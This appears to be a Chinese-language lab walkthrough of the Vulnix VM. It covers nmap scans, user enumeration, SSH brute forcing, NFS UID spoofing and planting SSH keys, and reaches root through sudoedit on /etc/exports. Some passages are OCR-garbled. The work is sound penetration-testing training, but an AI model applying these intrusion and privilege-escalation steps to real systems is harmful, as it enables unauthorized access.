# 7-Vulnix\_端口渗透

## ####信息收集

## 端口

```
22/tcp
               ssh
          open
25/tcp
          open
               smtp
79/tcp
                finger
          open
110/tcp
               pop3
          open
111/tcp
               rpcbind
          open
143/tcp
                imap
          open
512/tcp
                exec
          open
513/tcp
          open
                login
514/tcp
                shell
          open
993/tcp
          open
                imaps
995/tcp
          open
                pop3s
2049/tcp open
                nfs
35281/tcp open
                unknown
37189/tcp open
               unknown
48871/tcp open
               unknown
51665/tcp open
                unknown
59059/tcp open
                unknown
```

## 漏洞脚本扫描

```
Starting Nmap 7.94 (https://nmap.org) at 2024-01-02 13:04 GMT
Nmap scan report for 192.168.1.201
Host is up (0.00023s latency).
PORT
          STATE SERVICE
22/tcp
          open ssh
25/tcp
          open smtp
ssl-heartbleed:
    VULNERABLE:
    The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by
SSL/TLS encryption.
      State: VULNERABLE
      Risk factor: High
        OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
```

```
keys themselves.
     References:
       http://cvedetails.com/cve/2014-0160/
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
       http://www.openssl.org/news/secadv_20140407.txt
ssl-ccs-injection:
   VULNERABLE:
   SSL/TLS MITM vulnerability (CCS Injection)
     State: VULNERABLE
     Risk factor: High
        OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
        does not properly restrict processing of ChangeCipherSpec messages,
        which allows man-in-the-middle attackers to trigger use of a zero
        length master key in certain OpenSSL-to-OpenSSL communications, and
       consequently hijack sessions or obtain sensitive information, via
        a crafted TLS handshake, aka the "CCS Injection" vulnerability.
     References:
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
       http://www.openssl.org/news/secadv 20140605.txt
       http://www.cvedetails.com/cve/2014-0224
 ssl-poodle:
   VULNERABLE:
   SSL POODLE information leak
      State: VULNERABLE
      IDs: CVE:CVE-2014-3566 BID:70574
            The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
            products, uses nondeterministic CBC padding, which makes it easier
            for man-in-the-middle attackers to obtain cleartext data via a
            padding-oracle attack, aka the "POODLE" issue.
     Disclosure date: 2014-10-14
     Check results:
        TLS_RSA_WITH_AES_128_CBC_SHA
     References:
       https://www.imperialviolet.org/2014/10/14/poodle.html
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
       https://www.openssl.org/~bodo/ssl-poodle.pdf
       https://www.securityfocus.com/bid/70574
 ssl-dh-params:
   VULNERABLE:
   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
```

disclosure of otherwise encrypted confidential information as well as the encryption

```
State: VULNERABLE
    Transport Layer Security (TLS) services that use anonymous
    Diffie-Hellman key exchange only provide protection against passive
    eavesdropping, and are vulnerable to active man-in-the-middle attacks
   which could completely compromise the confidentiality and integrity
    of any data exchanged over the resulting session.
  Check results:
    ANONYMOUS DH GROUP 1
          Cipher Suite: TLS DH anon WITH DES CBC SHA
          Modulus Type: Safe prime
          Modulus Source: postfix builtin
          Modulus Length: 1024
          Generator Length: 8
          Public Key Length: 1024
  References:
   https://www.ietf.org/rfc/rfc2246.txt
Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam)
  State: VULNERABLE
  IDs: CVE:CVE-2015-4000 BID:74733
    The Transport Layer Security (TLS) protocol contains a flaw that is
    triggered when handling Diffie-Hellman key exchanges defined with
    the DHE EXPORT cipher. This may allow a man-in-the-middle attacker
    to downgrade the security of a TLS session to 512-bit export-grade
    cryptography, which is significantly weaker, allowing the attacker
    to more easily break the encryption and monitor or tamper with
    the encrypted stream.
  Disclosure date: 2015-5-19
  Check results:
    EXPORT-GRADE DH GROUP 1
          Cipher Suite: TLS DHE RSA EXPORT WITH DES40 CBC SHA
          Modulus Type: Safe prime
          Modulus Source: Unknown/Custom-generated
          Modulus Length: 512
          Generator Length: 8
          Public Key Length: 512
  References:
   https://www.securityfocus.com/bid/74733
   https://weakdh.org
   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000
Diffie-Hellman Key Exchange Insufficient Group Strength
  State: VULNERABLE
```

```
Transport Layer Security (TLS) services that use Diffie-Hellman groups
        of insufficient strength, especially those using one of a few commonly
        shared groups, may be susceptible to passive eavesdropping attacks.
      Check results:
        WEAK DH GROUP 1
              Cipher Suite: TLS DHE RSA WITH CAMELLIA 256 CBC SHA
              Modulus Type: Safe prime
              Modulus Source: postfix builtin
              Modulus Length: 1024
              Generator Length: 8
              Public Key Length: 1024
     References:
       https://weakdh.org
smtp-vuln-cve2010-4344:
The SMTP server is not Exim: NOT VULNERABLE
79/tcp
         open finger
         open pop3
110/tcp
ssl-heartbleed:
   VULNERABLE:
    The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic
software library. It allows for stealing information intended to be protected by
SSL/TLS encryption.
     State: VULNERABLE
     Risk factor: High
        OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-
betal) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading
memory of systems protected by the vulnerable OpenSSL versions and could allow for
disclosure of otherwise encrypted confidential information as well as the encryption
keys themselves.
     References:
        http://cvedetails.com/cve/2014-0160/
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
       http://www.openssl.org/news/secadv 20140407.txt
| ssl-dh-params:
    VULNERABLE:
    Diffie-Hellman Key Exchange Insufficient Group Strength
      State: VULNERABLE
        Transport Layer Security (TLS) services that use Diffie-Hellman groups
        of insufficient strength, especially those using one of a few commonly
        shared groups, may be susceptible to passive eavesdropping attacks.
      Check results:
        WEAK DH GROUP 1
```

```
Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
              Modulus Type: Safe prime
              Modulus Source: Unknown/Custom-generated
              Modulus Length: 1024
              Generator Length: 8
              Public Key Length: 1024
     References:
       https://weakdh.org
 ssl-poodle:
   VULNERABLE:
   SSL POODLE information leak
     State: VULNERABLE
      IDs: CVE:CVE-2014-3566 BID:70574
            The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
            products, uses nondeterministic CBC padding, which makes it easier
            for man-in-the-middle attackers to obtain cleartext data via a
            padding-oracle attack, aka the "POODLE" issue.
     Disclosure date: 2014-10-14
     Check results:
        TLS RSA WITH AES 256 CBC SHA
     References:
       https://www.imperialviolet.org/2014/10/14/poodle.html
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
       https://www.openssl.org/~bodo/ssl-poodle.pdf
       https://www.securityfocus.com/bid/70574
111/tcp
         open rpcbind
143/tcp
         open imap
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   Diffie-Hellman Key Exchange Insufficient Group Strength
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        shared groups, may be susceptible to passive eavesdropping attacks.
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            padding-oracle attack, aka the "POODLE" issue.
     Disclosure date: 2014-10-14
     Check results:
        TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
     References:
        https://www.imperialviolet.org/2014/10/14/poodle.html
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
       https://www.openssl.org/~bodo/ssl-poodle.pdf
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514/tcp open shell
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        length master key in certain OpenSSL-to-OpenSSL communications, and
        consequently hijack sessions or obtain sensitive information, via
        a crafted TLS handshake, aka the "CCS Injection" vulnerability.
     References:
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
        http://www.openssl.org/news/secadv 20140605.txt
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        of insufficient strength, especially those using one of a few commonly
        shared groups, may be susceptible to passive eavesdropping attacks.
      Check results:
        WEAK DH GROUP 1
              Cipher Suite: TLS DHE RSA WITH CAMELLIA 256 CBC SHA
              Modulus Type: Safe prime
              Modulus Source: Unknown/Custom-generated
              Modulus Length: 1024
              Generator Length: 8
```

```
Public Key Length: 1024
     References:
       https://weakdh.org
995/tcp open pop3s
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    VULNERABLE:
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      State: VULNERABLE
     Risk factor: High
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              Modulus Type: Safe prime
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            products, uses nondeterministic CBC padding, which makes it easier
            for man-in-the-middle attackers to obtain cleartext data via a
            padding-oracle attack, aka the "POODLE" issue.
     Disclosure date: 2014-10-14
      Check results:
        TLS RSA WITH AES 128 CBC SHA
     References:
       https://www.imperialviolet.org/2014/10/14/poodle.html
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
       https://www.openssl.org/~bodo/ssl-poodle.pdf
       https://www.securityfocus.com/bid/70574
2049/tcp open nfs
35281/tcp open unknown
37189/tcp open unknown
48871/tcp open unknown
51665/tcp open unknown
59059/tcp open unknown
MAC Address: 00:0C:29:8B:FF:57 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 208.31 seconds
```

## 服务探测

```
-# nmap -sV -sC -0 192.168.1.201 -p
22,25,79,110,111,143,512,513,514,993,995,2049,35281,37189,48871,51665,59059
Starting Nmap 7.94 (https://nmap.org) at 2024-01-02 13:18 GMT
Nmap scan report for 192.168.1.201
```

```
Host is up (0.00034s latency).
PORT
         STATE SERVICE
                          VERSION
22/tcp
                          OpenSSH 5.9pl Debian 5ubuntul (Ubuntu Linux; protocol 2.0)
         open ssh
ssh-hostkey:
   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp
                          Postfix smtpd
         open smtp
ssl-date: 2024-01-02T13:19:19+00:00; +5s from scanner time.
smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS,
ENHANCEDSTATUSCODES, 8BITMIME, DSN
ssl-cert: Subject: commonName=vulnix
Not valid before: 2012-09-02T17:40:12
Not valid after: 2022-08-31T17:40:12
79/tcp
        open finger Linux fingerd
finger: No one logged on. \x0D
110/tcp open pop3
                          Dovecot pop3d
ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
pop3-capabilities: RESP-CODES TOP CAPA UIDL SASL PIPELINING STLS
ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
Not valid before: 2012-09-02T17:40:22
Not valid after: 2022-09-02T17:40:22
111/tcp open rpcbind 2-4 (RPC #100000)
rpcinfo:
   program version
                      port/proto service
   100000 2, 3, 4
                        111/tcp rpcbind
   100000 2, 3, 4
                        111/udp rpcbind
   100000 3, 4
                        111/tcp6 rpcbind
   100000 3, 4
                        111/udp6 rpcbind
   100003 2, 3, 4
                       2049/tcp
                                 nfs
   100003 2, 3, 4
                       2049/tcp6 nfs
   100003 2, 3, 4
                       2049/udp
                                 nfs
   100003 2, 3, 4
                       2049/udp6 nfs
   100005 1, 2, 3
                      40525/udp
                                  mountd
   100005 1, 2, 3
                      42671/tcp6 mountd
   100005 1, 2, 3
                      44805/udp6 mountd
   100005 1, 2, 3
                      59059/tcp
                                  mountd
   100021 1, 3, 4
                      34486/udp6 nlockmgr
   100021 1, 3, 4
                      40504/udp nlockmgr
   100021 1, 3, 4
                      51665/tcp nlockmgr
   100021 1, 3, 4
                      59184/tcp6 nlockmgr
   100024 1
                      35548/udp6 status
```

```
100024 1
                      37189/tcp status
   100024 1
                      42820/tcp6 status
   100024 1
                      48273/udp status
   100227 2, 3
                       2049/tcp nfs acl
   100227 2, 3
                       2049/tcp6 nfs acl
   100227 2, 3
                       2049/udp nfs acl
   100227 2, 3
                       2049/udp6 nfs acl
143/tcp open imap
                          Dovecot imapd
ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
Not valid before: 2012-09-02T17:40:22
Not valid after: 2022-09-02T17:40:22
imap-capabilities: LITERAL+ have SASL-IR IMAP4rev1 more ID post-login listed
capabilities LOGINDISABLEDA0001 LOGIN-REFERRALS OK STARTTLS IDLE ENABLE Pre-login
512/tcp
        open exec
                         netkit-rsh rexecd
513/tcp
        open login
                          OpenBSD or Solaris rlogind
514/tcp
         open tcpwrapped
993/tcp open ssl/imap Dovecot imapd
imap-capabilities: LITERAL+ have SASL-IR IMAP4rev1 ID more post-login
AUTH=PLAINA0001 listed capabilities LOGIN-REFERRALS OK IDLE ENABLE Pre-login
ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
Not valid before: 2012-09-02T17:40:22
Not valid after: 2022-09-02T17:40:22
ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
995/tcp open ss1/pop3 Dovecot pop3d
ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
Not valid before: 2012-09-02T17:40:22
Not valid after: 2022-09-02T17:40:22
pop3-capabilities: RESP-CODES TOP CAPA UIDL SASL(PLAIN) PIPELINING USER
ssl-date: 2024-01-02T13:19:18+00:00; +4s from scanner time.
                         2-4 (RPC #100003)
2049/tcp open nfs
35281/tcp open mountd
                         1-3 (RPC #100005)
37189/tcp open status
                        1 (RPC #100024)
48871/\text{tcp open} mountd 1-3 (RPC #100005)
51665/tcp open nlockmgr 1-4 (RPC #100021)
                      1-3 (RPC #100005)
59059/tcp open mountd
MAC Address: 00:0C:29:8B:FF:57 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 2.6.X 3.X
OS CPE: cpe:/o:linux:linux kernel:3.6 cpe:/o:linux:linux kernel:3
OS details: Linux 2.6.32 - 3.10
```

```
Network Distance: 1 hop
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 4s, deviation: 0s, median: 3s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/.

Nmap done: 1 IP address (1 host up) scanned in 37.50 seconds
```

## 目标服务器上存在的用户名的id

vulnix
root
user

# 枚举到的服务器用户名

```
backup
 bin
 daemon
 games
 gnats
 irc
 landscape
 libuuid
 list
 1p
 mail
 dovecot
 man
 messagebus
 news
 nobody
 postfix
 proxy
 root
 sshd
 sync
 sys
 syslog
 user
 dovenu11
```

uucp whoopsie www-data

对面机子nfs能挂载一个目录,但是没有权限进去,尝试爆破上面的用户名

showmount -e 192.168.1.201
Export list for 192.168.1.201:
/home/vulnix \*

[DATA] attacking ssh://192.168.1.201:22/om/ [22][ssh] host: 192.168.1.201 login: user password: letmein

## 总结下目前得到的信息:

- 1.漏扫没有漏洞
- 2.通过对目标系统的服务的枚举和利用获得了
  - user用户
  - 一个可挂载目录

## ##提权:

目标系统可挂载目录: /home/vulnix

挂载到本机: mount -t nfs 192.168.1.201:/home/vulnix /mnt/new back -o nolock

进入权限不足: 会验证当前用户的uid等信息

<del>└─#</del> cdlnew\_back

cd: 权限不够: new\_back

绕过: 本机创建个同组同uid的用户进入, 该用户是我在user用户上得知的

vulnix:x:2008:2008::/home/vulnix:/bin/bash

切换该用户后进入挂载目录

\$ id x x 2008 2008 (vulnix) gid=2008(vulnix) 组=2008(vulnix) \$ 1000 (vulnix) 数=2008(vulnix)

## 资源整理:

user: 常规提权无效

vulnix用户的挂载目录:无执行权限,但能写入

后面: 提权到vulnix用户, 在挂载目录上传ssh密钥, 本机ssh连到该用户

## 本机操作:

ssh-keygen -t rsa

然后把公开内容复制 服务器的挂载目录: 把密钥上传上去

最后不用密码都能连上去

ssh vulnix@192.168.1.201

```
vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)
```

vulnix此用户内提权

sudo -I #能用root权限修改/etc/exports

```
vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/us
User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports
```

修改/etc/exports

把服务器挂载目录改成/想办法重启目标服务器后,配置生效

mount 192.168.1.201://mnt/th #把根目录挂载到本机

```
(root® kali)-[/mnt/th]
#slsming default behaviour ('no_subtree_check').
binTEdevhihomefault halibhanged simediafsoptilsrootsisbin.0.x srv tmp var
boot etc initrd.img lost+found mnt proc run selinux sys usr vmlinuz
exportfs: /etc/exports [3]: Neither 'subtree check' or 'no subtree check' specified
```

如法炮制,把ssh公钥上传到挂载目录里,然后通过ssh连接ssh root@192.168.1.201

```
root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnix:~#
```